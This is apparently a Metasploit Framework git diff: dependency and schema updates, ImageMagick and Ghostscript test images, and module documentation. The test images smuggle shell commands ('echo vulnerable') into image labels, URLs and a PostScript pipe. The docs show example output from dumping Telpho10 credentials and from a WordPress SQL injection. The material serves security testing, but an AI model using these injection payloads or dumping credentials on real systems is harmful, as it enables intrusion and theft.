gmikeska-r7 <gmikeska-r7@github> <greg_mikeska@rapid7.com>
gmikeska-r7 <gmikeska-r7@github> greg.mikeska@rapid7.com <=>
gmikeska-r7 <gmikeska-r7@github> greg.mikeska@rapid7.com <YOUR_USERNAME_FOR_EMAIL>
g0tmi1k <g0tmi1k@github> <g0tmi1k@users.noreply.github.com>
g0tmi1k <g0tmi1k@github> <have.you.g0tmi1k@gmail.com>
h00die <h00die@github> <h00die@users.noreply.github.com>
h00die <h00die@github> <mike@shorebreaksecurity.com>
h0ng10 <h0ng10@github> h0ng10 <hansmartin.muench@googlemail.com>
h0ng10 <h0ng10@github> Hans-Martin Münch <hansmartin.muench@googlemail.com>
hdm <hdm@github> HD Moore <hd_moore@rapid7.com>
hdm <hdm@github> HD Moore <hdm@digitaloffense.net>
hdm <hdm@github> HD Moore <hd_moore@rapid7.com>
hdm <hdm@github> HD Moore <x@hdm.io>
jabra <jabra@github> Josh Abraham <jabra@spl0it.org>
jabra <jabra@github> Joshua Abraham <jabra@spl0it.org>
jabra <jabra@github> <jabra@spl0it.org>
jcran <jcran@github> <jcran@0x0e.org>
jcran <jcran@github> <jcran@pentestify.com>
jcran <jcran@github> <jcran@pwnieexpress.com>
@@ -108,9 +107,9 @@ jcran <jcran@github> <jcran@rapid7.com>
jduck <jduck@github> <github.jdrake@qoop.org>
jduck <jduck@github> <jdrake@qoop.org>
jgor <jgor@github> jgor <jgor@indiecom.org>
joevennix <joevennix@github> Joe Vennix <joevennix@gmail.com>
joevennix <joevennix@github> <Joe_Vennix@rapid7.com>
joevennix <joevennix@github> <joev@metasploit.com>
joevennix <joevennix@github> Joe Vennix <joevennix@gmail.com>
joevennix <joevennix@github> jvennix-r7 <Joe_Vennix@rapid7.com>
juanvazquez <juanvazquez@github> jvazquez-r7 <juan.vazquez@metasploit.com>
juanvazquez <juanvazquez@github> jvazquez-r7 <juan_vazquez@rapid7.com>
@@ -139,15 +138,20 @@ r3dy <r3dy@github> Royce Davis <rdavis@Royces-MacBook-Pro-2.
r3dy <r3dy@github> Royce Davis <royce.e.davis@gmail.com>
rep <mschloesser-r7@github> Mark Schloesser <mark_schloesser@rapid7.com>
rep <mschloesser-r7@github> mschloesser-r7 <mark_schloesser@rapid7.com>
RageLtMan <sempervictus@github> <rageltman [at] sempervictus>
RageLtMan <sempervictus@github> <rageltman@sempervictus.com>
Rick Flores <0xnanoquetz9l@gmail.com> Rick Flores (nanotechz9l) <0xnanoquetz9l@gmail.com>
rsmudge <rsmudge@github> Raphael Mudge <rsmudge@gmail.com> # Aka `butane
rwhitcroft <rwhitcroft@github> <rwhitcroft.github@gmail.com>
rwhitcroft <rwhitcroft@github> <rwhitcroft@gmail.com>
rwhitcroft <rwhitcroft@github> <rwhitcroft@users.noreply.github.com>
schierlm <schierlm@github> Michael Schierl <schierlm@gmx.de> # Aka mihi
scriptjunkie <scriptjunkie@github> Matt Weeks <scriptjunkie@scriptjunkie.us>
scriptjunkie <scriptjunkie@github> scriptjunkie <scriptjunkie@scriptjunkie.us>
skape <skape@???> Matt Miller <mmiller@hick.org>
spoonm <spoonm@github> Spoon M <spoonm@gmail.com>
stufus <stufus@github> Stuart <stufus@users.noreply.github.com>
stufus <stufus@github> Stuart Morgan <stuart.morgan@mwrinfosecurity.com>
stufus <stufus@github> Stuart <stufus@users.noreply.github.com>
swtornio <swtornio@github> Steve Tornio <swtornio@gmail.com>
Tasos Laskos <Tasos_Laskos@rapid7.com> Tasos Laskos <Tasos_Laskos@rapid7.com>
techpeace <techpeace@github> Matt Buck <Matthew_Buck@rapid7.com>
@@ -157,10 +161,10 @@ TomSellers <TomSellers@github> Tom Sellers <tom@fadedcode.net>
trevrosen <trevrosen@github> Trevor Rosen <trevor@catapult-creative.com>
trevrosen <trevrosen@github> Trevor Rosen <Trevor_Rosen@rapid7.com>
TrustedSec <davek@trustedsec.com> trustedsec <davek@trustedsec.com>
void-in <void-in@github> root <void-in@users.noreply.github.com>
void-in <void-in@github> void-in <root@localhost.localdomain>
void-in <void-in@github> void-in <waqas.bsquare@gmail.com>
void-in <void-in@github> void_in <root@localhost.localdomain>
void-in <void-in@github> void-in <root@localhost.localdomain>
void-in <void-in@github> <void-in@users.noreply.github.com>
void-in <void-in@github> void-in <waqas.bsquare@gmail.com>
void-in <void-in@github> Waqas Ali <waqas.bsquare@gmail.com>
zeroSteiner <zeroSteiner@github> Spencer McIntyre <zeroSteiner@gmail.com>
+1 -1
View File
@@ -1 +1 @@
2.3.1
2.3.3
+3 -2
View File
@@ -1,16 +1,17 @@
dist: trusty
sudo: false
group: stable
bundler_args: --without coverage development pcap
cache: bundler
addons:
postgresql: '9.3'
postgresql: '9.6'
apt:
packages:
- libpcap-dev
- graphviz
language: ruby
rvm:
- '2.3.1'
- '2.3.3'
env:
- RAKE_TASKS="cucumber cucumber:boot" CREATE_BINSTUBS=true
+52 -52
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (4.12.30)
metasploit-framework (4.13.11)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@@ -14,9 +14,9 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 1.1.19)
metasploit-payloads (= 1.2.6)
metasploit_data_models
metasploit_payloads-mettle (= 0.0.6)
metasploit_payloads-mettle (= 0.1.4)
msgpack
nessus_rest
net-ssh
@@ -33,7 +33,7 @@ PATH
rb-readline-r7
recog
redcarpet
rex-arch
rex-arch (= 0.1.4)
rex-bin_tools
rex-core
rex-encoder
@@ -89,8 +89,9 @@ GEM
minitest (~> 5.1)
thread_safe (~> 0.3, >= 0.3.4)
tzinfo (~> 1.1)
addressable (2.4.0)
arel (6.0.3)
addressable (2.5.0)
public_suffix (~> 2.0, >= 2.0.2)
arel (6.0.4)
arel-helpers (2.3.0)
activerecord (>= 3.1.0, < 6)
aruba (0.14.2)
@@ -103,7 +104,7 @@ GEM
bcrypt (3.1.11)
bit-struct (0.15.0)
builder (3.2.2)
capybara (2.9.2)
capybara (2.11.0)
addressable
mime-types (>= 1.16)
nokogiri (>= 1.3.3)
@@ -134,12 +135,12 @@ GEM
diff-lcs (1.2.5)
docile (1.1.5)
erubis (2.7.0)
factory_girl (4.7.0)
factory_girl (4.8.0)
activesupport (>= 3.0.0)
factory_girl_rails (4.7.0)
factory_girl (~> 4.7.0)
factory_girl_rails (4.8.0)
factory_girl (~> 4.8.0)
railties (>= 3.0.0)
faraday (0.9.2)
faraday (0.10.1)
multipart-post (>= 1.2, < 3)
ffi (1.9.14)
filesize (0.1.1)
@@ -152,11 +153,11 @@ GEM
loofah (2.0.3)
nokogiri (>= 1.5.9)
metasm (1.0.2)
metasploit-concern (2.0.1)
metasploit-concern (2.0.3)
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-credential (2.0.3)
metasploit-credential (2.0.8)
metasploit-concern
metasploit-model
metasploit_data_models
@@ -164,12 +165,12 @@ GEM
railties
rubyntlm
rubyzip
metasploit-model (2.0.0)
metasploit-model (2.0.3)
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.1.19)
metasploit_data_models (2.0.4)
metasploit-payloads (1.2.6)
metasploit_data_models (2.0.13)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
arel-helpers
@@ -179,25 +180,24 @@ GEM
postgres_ext
railties (~> 4.2.6)
recog (~> 2.0)
metasploit_payloads-mettle (0.0.6)
metasploit_payloads-mettle (0.1.4)
method_source (0.8.2)
mime-types (3.1)
mime-types-data (~> 3.2015)
mime-types-data (3.2016.0521)
mini_portile2 (2.1.0)
minitest (5.9.1)
msgpack (1.0.0)
minitest (5.10.1)
msgpack (1.0.2)
multi_json (1.12.1)
multi_test (0.1.2)
multipart-post (2.0.0)
nessus_rest (0.1.6)
net-ssh (3.2.0)
net-ssh (4.0.0)
network_interface (0.0.1)
nokogiri (1.6.8)
nokogiri (1.7.0.1)
mini_portile2 (~> 2.1.0)
pkg-config (~> 1.1.7)
octokit (4.3.0)
sawyer (~> 0.7.0, >= 0.5.3)
octokit (4.6.2)
sawyer (~> 0.8.0, >= 0.5.3)
openssl-ccm (1.2.1)
openvas-omp (0.0.4)
packetfu (1.1.11)
@@ -207,7 +207,6 @@ GEM
pcaprub (0.12.4)
pg (0.19.0)
pg_array_parser (0.0.9)
pkg-config (1.1.7)
postgres_ext (3.0.0)
activerecord (>= 4.0.0)
arel (>= 4.0.1)
@@ -216,14 +215,15 @@ GEM
coderay (~> 1.1.0)
method_source (~> 0.8.1)
slop (~> 3.4)
rack (1.6.4)
public_suffix (2.0.5)
rack (1.6.5)
rack-test (0.6.3)
rack (>= 1.0)
rails-deprecated_sanitizer (1.0.3)
activesupport (>= 4.2.0.alpha)
rails-dom-testing (1.0.7)
rails-dom-testing (1.0.8)
activesupport (>= 4.2.0.beta, < 5.0)
nokogiri (~> 1.6.0)
nokogiri (~> 1.6)
rails-deprecated_sanitizer (>= 1.0.1)
rails-html-sanitizer (1.0.3)
loofah (~> 2.0)
@@ -232,12 +232,12 @@ GEM
activesupport (= 4.2.7.1)
rake (>= 0.8.7)
thor (>= 0.18.1, < 2.0)
rake (11.3.0)
rake (12.0.0)
rb-readline-r7 (0.5.2.0)
recog (2.0.22)
recog (2.1.2)
nokogiri
redcarpet (3.3.4)
rex-arch (0.1.1)
redcarpet (3.4.0)
rex-arch (0.1.4)
rex-text
rex-bin_tools (0.1.1)
metasm
@@ -245,42 +245,42 @@ GEM
rex-core
rex-struct2
rex-text
rex-core (0.1.2)
rex-encoder (0.1.0)
rex-core (0.1.5)
rex-encoder (0.1.2)
metasm
rex-arch
rex-text
rex-exploitation (0.1.0)
rex-exploitation (0.1.8)
jsobfu
metasm
rex-arch
rex-encoder
rex-text
rex-java (0.1.2)
rex-java (0.1.3)
rex-mime (0.1.1)
rex-text
rex-nop (0.1.0)
rex-arch
rex-ole (0.1.2)
rex-ole (0.1.4)
rex-text
rex-powershell (0.1.66)
rex-powershell (0.1.69)
rex-random_identifier
rex-text
rex-random_identifier (0.1.0)
rex-random_identifier (0.1.1)
rex-text
rex-registry (0.1.0)
rex-rop_builder (0.1.0)
rex-registry (0.1.1)
rex-rop_builder (0.1.1)
metasm
rex-core
rex-text
rex-socket (0.1.0)
rex-socket (0.1.2)
rex-core
rex-sslscan (0.1.0)
rex-sslscan (0.1.1)
rex-socket
rex-text
rex-struct2 (0.1.0)
rex-text (0.2.1)
rex-zip (0.1.0)
rex-text (0.2.10)
rex-zip (0.1.1)
rex-text
rkelly-remix (0.0.6)
robots (0.10.1)
@@ -303,9 +303,9 @@ GEM
rspec-support (3.5.0)
rubyntlm (0.6.1)
rubyzip (1.2.0)
sawyer (0.7.0)
addressable (>= 2.3.5, < 2.5)
faraday (~> 0.8, < 0.10)
sawyer (0.8.1)
addressable (>= 2.3.5, < 2.6)
faraday (~> 0.8, < 1.0)
shoulda-matchers (3.1.1)
activesupport (>= 4.0.0)
simplecov (0.12.0)
@@ -314,14 +314,14 @@ GEM
simplecov-html (~> 0.10.0)
simplecov-html (0.10.0)
slop (3.6.0)
sqlite3 (1.3.11)
sqlite3 (1.3.13)
sshkey (1.8.0)
thor (0.19.1)
thor (0.19.4)
thread_safe (0.3.5)
timecop (0.8.1)
tzinfo (1.2.2)
thread_safe (~> 0.1)
tzinfo-data (1.2016.7)
tzinfo-data (1.2016.10)
tzinfo (>= 1.0.0)
windows_error (0.0.2)
xpath (2.0.0)
@@ -348,4 +348,4 @@ DEPENDENCIES
yard
BUNDLED WITH
1.13.2
1.13.7
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,14 +0,0 @@
id=ImageMagick version=1.0
class=DirectClass colors=0 matte=False
columns=1 rows=1 depth=16
colorspace=sRGB
page=1x1+0+0
rendering-intent=Perceptual
gamma=0.454545
red-primary=0.64,0.33 green-primary=0.3,0.6 blue-primary=0.15,0.06
white-point=0.3127,0.329
date:create=2016-05-04T00:19:42-05:00
date:modify=2016-05-04T00:19:42-05:00
label={";echo vulnerable"}
:ÿÿÿÿÿÿ
+1 -1
View File
@@ -3,6 +3,6 @@ encoding "UTF-8"
viewbox 0 0 1 1
affine 1 0 0 1 0 0
push graphic-context
image Over 0,0 1,1 'https://localhost";echo vulnerable"'
image Over 0,0 1,1 'https://localhost";echo vulnerable > /dev/tty"'
pop graphic-context
pop graphic-context
@@ -0,0 +1,4 @@
%!PS
currentdevice null true mark /OutputICCProfile (%pipe%echo vulnerable > /dev/tty)
.putdeviceparams
quit
+1 -1
View File
@@ -1,5 +1,5 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1px" height="1px" viewBox="0 0 1 1" enable-background="new 0 0 1 1" xml:space="preserve"> <image id="image0" width="1" height="1" x="0" y="0"
xlink:href="&#x68;&#x74;&#x74;&#x70;&#x73;&#x3a;&#x2f;&#x2f;&#x6c;&#x6f;&#x63;&#x61;&#x6c;&#x68;&#x6f;&#x73;&#x74;&#x22;&#x3b;echo vulnerable&#x22;" />
xlink:href="&#x68;&#x74;&#x74;&#x70;&#x73;&#x3a;&#x2f;&#x2f;&#x6c;&#x6f;&#x63;&#x61;&#x6c;&#x68;&#x6f;&#x73;&#x74;&#x22;&#x3b;echo vulnerable > /dev/tty&#x22;" />
</svg>

Before

Width:  |  Height:  |  Size: 593 B

After

Width:  |  Height:  |  Size: 604 B

-14
View File
@@ -1,14 +0,0 @@
id=ImageMagick version=1.0
class=DirectClass colors=0 matte=False
columns=1 rows=1 depth=16
colorspace=sRGB
page=1x1+0+0
rendering-intent=Perceptual
gamma=0.454545
red-primary=0.64,0.33 green-primary=0.3,0.6 blue-primary=0.15,0.06
white-point=0.3127,0.329
date:create=2016-05-04T00:19:42-05:00
date:modify=2016-05-04T00:19:42-05:00
label={";touch vulnerable"}
:ÿÿÿÿÿÿ
+1 -1
View File
@@ -3,6 +3,6 @@ encoding "UTF-8"
viewbox 0 0 1 1
affine 1 0 0 1 0 0
push graphic-context
image Over 0,0 1,1 '|touch vulnerable'
image Over 0,0 1,1 '|echo vulnerable > /dev/tty'
pop graphic-context
pop graphic-context
+1 -1
View File
@@ -1,5 +1,5 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1px" height="1px" viewBox="0 0 1 1" enable-background="new 0 0 1 1" xml:space="preserve"> <image id="image0" width="1" height="1" x="0" y="0"
xlink:href="&#x7c;touch vulnerable" />
xlink:href="&#x7c;echo vulnerable > /dev/tty" />
</svg>

Before

Width:  |  Height:  |  Size: 480 B

After

Width:  |  Height:  |  Size: 490 B

Binary file not shown.
+16 -13
View File
@@ -11,7 +11,7 @@
#
# It's strongly recommended that you check this file into your version control system.
ActiveRecord::Schema.define(version: 20160415153312) do
ActiveRecord::Schema.define(version: 20161227212223) do
# These are extensions that must be enabled in order to support this database
enable_extension "plpgsql"
@@ -177,6 +177,7 @@ ActiveRecord::Schema.define(version: 20160415153312) do
t.integer "exploit_attempt_count", default: 0
t.integer "cred_count", default: 0
t.string "detected_arch"
t.string "os_family"
end
add_index "hosts", ["name"], name: "index_hosts_on_name", using: :btree
@@ -248,12 +249,12 @@ ActiveRecord::Schema.define(version: 20160415153312) do
add_index "metasploit_credential_cores", ["private_id"], name: "index_metasploit_credential_cores_on_private_id", using: :btree
add_index "metasploit_credential_cores", ["public_id"], name: "index_metasploit_credential_cores_on_public_id", using: :btree
add_index "metasploit_credential_cores", ["realm_id"], name: "index_metasploit_credential_cores_on_realm_id", using: :btree
add_index "metasploit_credential_cores", ["workspace_id", "private_id"], name: "unique_private_metasploit_credential_cores", unique: true, where: "(((realm_id IS NULL) AND (public_id IS NULL)) AND (private_id IS NOT NULL))", using: :btree
add_index "metasploit_credential_cores", ["workspace_id", "public_id", "private_id"], name: "unique_realmless_metasploit_credential_cores", unique: true, where: "(((realm_id IS NULL) AND (public_id IS NOT NULL)) AND (private_id IS NOT NULL))", using: :btree
add_index "metasploit_credential_cores", ["workspace_id", "public_id"], name: "unique_public_metasploit_credential_cores", unique: true, where: "(((realm_id IS NULL) AND (public_id IS NOT NULL)) AND (private_id IS NULL))", using: :btree
add_index "metasploit_credential_cores", ["workspace_id", "realm_id", "private_id"], name: "unique_publicless_metasploit_credential_cores", unique: true, where: "(((realm_id IS NOT NULL) AND (public_id IS NULL)) AND (private_id IS NOT NULL))", using: :btree
add_index "metasploit_credential_cores", ["workspace_id", "realm_id", "public_id", "private_id"], name: "unique_complete_metasploit_credential_cores", unique: true, where: "(((realm_id IS NOT NULL) AND (public_id IS NOT NULL)) AND (private_id IS NOT NULL))", using: :btree
add_index "metasploit_credential_cores", ["workspace_id", "realm_id", "public_id"], name: "unique_privateless_metasploit_credential_cores", unique: true, where: "(((realm_id IS NOT NULL) AND (public_id IS NOT NULL)) AND (private_id IS NULL))", using: :btree
add_index "metasploit_credential_cores", ["workspace_id", "private_id"], name: "unique_private_metasploit_credential_cores", unique: true, where: "((realm_id IS NULL) AND (public_id IS NULL) AND (private_id IS NOT NULL))", using: :btree
add_index "metasploit_credential_cores", ["workspace_id", "public_id", "private_id"], name: "unique_realmless_metasploit_credential_cores", unique: true, where: "((realm_id IS NULL) AND (public_id IS NOT NULL) AND (private_id IS NOT NULL))", using: :btree
add_index "metasploit_credential_cores", ["workspace_id", "public_id"], name: "unique_public_metasploit_credential_cores", unique: true, where: "((realm_id IS NULL) AND (public_id IS NOT NULL) AND (private_id IS NULL))", using: :btree
add_index "metasploit_credential_cores", ["workspace_id", "realm_id", "private_id"], name: "unique_publicless_metasploit_credential_cores", unique: true, where: "((realm_id IS NOT NULL) AND (public_id IS NULL) AND (private_id IS NOT NULL))", using: :btree
add_index "metasploit_credential_cores", ["workspace_id", "realm_id", "public_id", "private_id"], name: "unique_complete_metasploit_credential_cores", unique: true, where: "((realm_id IS NOT NULL) AND (public_id IS NOT NULL) AND (private_id IS NOT NULL))", using: :btree
add_index "metasploit_credential_cores", ["workspace_id", "realm_id", "public_id"], name: "unique_privateless_metasploit_credential_cores", unique: true, where: "((realm_id IS NOT NULL) AND (public_id IS NOT NULL) AND (private_id IS NULL))", using: :btree
add_index "metasploit_credential_cores", ["workspace_id"], name: "index_metasploit_credential_cores_on_workspace_id", using: :btree
create_table "metasploit_credential_logins", force: :cascade do |t|
@@ -320,7 +321,8 @@ ActiveRecord::Schema.define(version: 20160415153312) do
t.string "jtr_format"
end
add_index "metasploit_credential_privates", ["type", "data"], name: "index_metasploit_credential_privates_on_type_and_data", unique: true, using: :btree
add_index "metasploit_credential_privates", ["type", "data"], name: "index_metasploit_credential_privates_on_type_and_data", unique: true, where: "(NOT ((type)::text = 'Metasploit::Credential::SSHKey'::text))", using: :btree
add_index "metasploit_credential_privates", ["type"], name: "index_metasploit_credential_privates_on_type_and_data_sshkey", unique: true, where: "((type)::text = 'Metasploit::Credential::SSHKey'::text)", using: :btree
create_table "metasploit_credential_publics", force: :cascade do |t|
t.string "username", null: false
@@ -800,12 +802,13 @@ ActiveRecord::Schema.define(version: 20160415153312) do
create_table "workspaces", force: :cascade do |t|
t.string "name"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.string "boundary", limit: 4096
t.string "description", limit: 4096
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.string "boundary", limit: 4096
t.string "description", limit: 4096
t.integer "owner_id"
t.boolean "limit_to_network", default: false, null: false
t.boolean "limit_to_network", default: false, null: false
t.boolean "import_fingerprint", default: false
end
end
@@ -0,0 +1,29 @@
This module plays (by default) [https://www.youtube.com/watch?v=kxopViU98Xo]("Epic sax guy 10 hours") on a target Google Chromecast via YouTube.
Naturally, audio should be cranked to 11 before running this module.
## Verification Steps
1. Do: ```use auxiliary/scanner/http/chromecast_webserver ```
2. Do: ```set RHOST [IP]```
3. Do: ```run```
## Options
**VID**
The YouTube video to be played. Defaults to [https://www.youtube.com/watch?v=kxopViU98Xo](kxopViU98Xo)
## Sample Output
Of note, this was played on a 1st generation Google Chromecast (USB stick looking, not circular)
```
msf > auxiliary/admin/chromecast/chromecast_youtube
msf auxiliary(chromecast_youtube) > set rhost 10.10.10.196
rhost => 10.10.10.196
msf auxiliary(chromecast_youtube) > run
[+] Playing https://www.youtube.com/watch?v=kxopViU98Xo
[*] Auxiliary module execution completed
```
@@ -0,0 +1,133 @@
## Vulnerable Application
Telpho10 v2.6.31 (32-bit Linux ISO image download [here](http://www.telpho.de/downloads/telpho10/telpho10-v2.6.31-SATA.iso)).
Supporting documentation for this product can be found [here](http://www.telpho.de/downloads.php).
## Verification Steps
The following steps will allow you to install and dump the credentials from a Telpho10 instance:
1. Download the [Telpho10 ISO image](http://www.telpho.de/downloads/telpho10/telpho10-v2.6.31-SATA.iso) and install in a VM (or on a system)
- note that the ISO will default to a German keyboard layout
- note that the ISO expects a SATA hard drive (not IDE/PATA) for installation
1. configure the Telpho10's IP address
- edit /etc/networks/interfaces accordingly
1. Start msfconsole
1. Do: ```use auxiliary/admin/http/telpho10_credential_dump```
1. Do: ```set RHOST <IP address of your Telpho10 instance> ```
1. Do: ```run```
1. You should see a list of the retrieved Telpho10 credentials
## Scenarios
Example output when using this against a Telpho10 v2.6.31 VM:
```
$ ./msfconsole
# cowsay++
____________
< metasploit >
------------
\ ,__,
\ (oo)____
(__) )\
||--|| *
=[ metasploit v4.12.36-dev-16fc6c1 ]
+ -- --=[ 1596 exploits - 908 auxiliary - 273 post ]
+ -- --=[ 458 payloads - 39 encoders - 8 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf > use auxiliary/admin/http/telpho10_credential_dump
msf auxiliary(telpho10_credential_dump) > set RHOST 10.0.2.35
RHOST => 10.0.2.35
msf auxiliary(telpho10_credential_dump) > run
[*] Generating backup
[*] Downloading backup
[+] File saved in: /home/pbarry/.msf4/loot/20161028155202_default_10.0.2.35_telpho10.backup_185682.tar
[*] Dumping credentials
[*] Login (/telpho/login.php)
[*] -------------------------
[+] Username: admin
[+] Password: telpho
[*] MySQL (/phpmyadmin)
[*] -------------------
[+] Username: root
[+] Password: telpho
[*] LDAP (/phpldapadmin)
[*] --------------------
[+] Username: cn=admin,dc=localdomain
[+] Password: telpho
[*] Asterisk MI (port 5038)
[*] -----------------------
[+] Username: telpho
[+] Password: telpho
[*] Mail configuration
[*] ------------------
[+] Mailserver:
[+] Username:
[+] Password:
[+] Mail from:
[*] Online Backup
[*] -------------
[+] ID:
[+] Password:
[*] Auxiliary module execution completed
msf auxiliary(telpho10_credential_dump) >
```
I navigated my browser to the admin page of the UI and changed some of the password values, then ran the module again to verify I see the updated values:
```
msf auxiliary(telpho10_credential_dump) > run
[*] Generating backup
[*] Downloading backup
[+] File saved in: /home/pbarry/.msf4/loot/20161028161929_default_10.0.2.35_telpho10.backup_044262.tar
[*] Dumping credentials
[*] Login (/telpho/login.php)
[*] -------------------------
[+] Username: admin
[+] Password: s3cr3t
[*] MySQL (/phpmyadmin)
[*] -------------------
[+] Username: root
[+] Password: telpho
[*] LDAP (/phpldapadmin)
[*] --------------------
[+] Username: cn=admin,dc=localdomain
[+] Password: ldaps3cr3t
[*] Asterisk MI (port 5038)
[*] -----------------------
[+] Username: telpho
[+] Password: asterisks3cr3t
[*] Mail configuration
[*] ------------------
[+] Mailserver:
[+] Username:
[+] Password:
[+] Mail from:
[*] Online Backup
[*] -------------
[+] ID:
[+] Password:
[*] Auxiliary module execution completed
```
@@ -0,0 +1,65 @@
## Vulnerable Application
The auxiliary/admin/http/wp_symposium_sql_injection works for WordPress
Symposium plugin before 15.8. The Pro module version has not been verified.
To download the vulnerable application, you can find it here:
https://github.com/wp-plugins/wp-symposium/archive/15.5.1.zip
## Verification Steps
1. Start msfconsole
2. Do: ```use auxiliary/admin/http/wp_symposium_sql_injection```
3. Do: ```set RHOST <ip>```
4. Set TARGETURI if necessary.
5. Do: ```run```
## Scenarios
Example run against WordPress Symposium plugin 15.5.1:
```
msf > use auxiliary/admin/http/wp_symposium_sql_injection
msf auxiliary(wp_symposium_sql_injection) > show info
Name: WordPress Symposium Plugin SQL Injection
Module: auxiliary/admin/http/wp_symposium_sql_injection
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2015-08-18
Provided by:
PizzaHatHacker
Matteo Cantoni <goony@nothink.org>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes The target address
RPORT 80 yes The target port
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
URI_PLUGIN wp-symposium yes The WordPress Symposium Plugin URI
VHOST no HTTP server virtual host
Description:
SQL injection vulnerability in the WP Symposium plugin before 15.8
for WordPress allows remote attackers to execute arbitrary SQL
commands via the size parameter to get_album_item.php.
References:
http://cvedetails.com/cve/2015-6522/
https://www.exploit-db.com/exploits/37824
msf auxiliary(wp_symposium_sql_injection) > set RHOST 1.2.3.4
RHOST => 1.2.3.4
msf auxiliary(wp_symposium_sql_injection) > set TARGETURI /html/wordpress/
TARGETURI => /html/wordpress/
msf auxiliary(wp_symposium_sql_injection) > run
[+] 1.2.3.4:80 - admin $P$ByvWm3Hb653Z50DskJVdUcZZbJ03dJ. admin.foobar@mail.xyz
[+] 1.2.3.4:80 - pippo $P$BuTaWvLcEBPseEWONBvihacEqpHa6M/ pippo.foobar@mail.xyz
[+] 1.2.3.4:80 - pluto $P$BJAoieYeeCDujy7SPQL1fjDULrtVJ3/ pluto.foobar@mail.xyz
[*] Auxiliary module execution completed
```
@@ -0,0 +1,214 @@
The module use the Censys REST API to access the same data accessible through web interface. The search endpoint allows searches against the current data in the IPv4, Top Million Websites, and Certificates indexes using the same search syntax as the primary site.
## Verification Steps
1. Do: `use auxiliary/gather/censys_search`
2. Do: `set CENSYS_UID XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX`
3. Do: `set CENSYS_SECRET XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX`
4. Do: `set CENSYS_SEARCHTYPE certificates`
5: Do: `set CENSYS_DORK rapid7`
6: Do: `run`
## Sample Output
#### Certificates Search
```
msf auxiliary(censys_search) > set CENSYS_DORK rapid7
CENSYS_DORK => rapid7
msf auxiliary(censys_search) > set CENSYS_SEARCHTYPE certificates
CENSYS_SEARCHTYPE => certificates
...
[+] 199.15.214.152 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 31.214.157.19 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 31.220.7.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 168.253.216.190 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 52.88.1.225 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 208.118.237.41 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 64.125.235.5 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 208.118.237.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 208.118.237.40 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 208.118.227.12 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 208.118.237.38 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 23.48.13.195 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 208.118.227.14 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 54.230.252.134 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 54.230.249.63 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 54.230.249.242 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 54.230.249.187 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 54.230.249.64 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 54.230.249.181 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 54.230.249.17 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 54.230.249.183 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 54.230.249.186 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 199.15.214.152 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 31.214.157.19 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
